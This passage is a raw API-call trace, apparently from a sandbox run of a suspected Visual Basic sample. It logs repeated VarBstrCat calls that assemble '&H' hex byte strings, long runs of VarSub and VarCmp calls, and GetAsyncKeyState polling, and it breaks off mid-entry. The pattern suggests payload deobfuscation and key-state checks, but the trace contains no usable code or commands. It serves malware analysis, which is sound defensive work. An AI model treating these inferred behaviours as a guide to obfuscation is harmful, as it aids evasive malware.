[0107.022] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&H7", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.023] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.023] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&Hf", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.024] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.024] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.025] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.025] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.025] VarBstrCat (in: bstrLeft="&H0", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.025] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.025] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.026] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.027] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.028] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.029] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.030] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.031] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.032] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.033] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.087] GetAsyncKeyState (vKey=3) returned 0 [0107.448] GetAsyncKeyState (vKey=3) returned 0 [0107.665] GetAsyncKeyState (vKey=3) returned 0 [0107.947] GetAsyncKeyState (vKey=3) returned 0 [0108.195] GetAsyncKeyState (vKey=3) returned 0 [0108.498] GetAsyncKeyState (vKey=3) returned 0 [0108.799] GetAsyncKeyState (vKey=3) returned 0 [0109.094] GetAsyncKeyState (vKey=3) returned 0 [0109.387] GetAsyncKeyState (vKey=3) returned 0 [0109.684] GetAsyncKeyState (vKey=3) returned 0 [0109.910] GetAsyncKeyState (vKey=3) returned 0 [0110.217] GetAsyncKeyState (vKey=3) returned 0 [0110.467] GetAsyncKeyState (vKey=3) returned 0 [0110.888] GetAsyncKeyState (vKey=3) returned 0 [0111.044] GetAsyncKeyState (vKey=3) returned 0 [0111.389] GetAsyncKeyState (vKey=3) returned 0 [0111.670] GetAsyncKeyState (vKey=3) returned 0 [0111.899] GetAsyncKeyState (vKey=3) returned 0 [0112.182] GetAsyncKeyState (vKey=3) returned 0 [0112.521] GetAsyncKeyState (vKey=3) returned 0 [0112.521] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.521] VarBstrCat (in: bstrLeft="&H2", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.525] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] 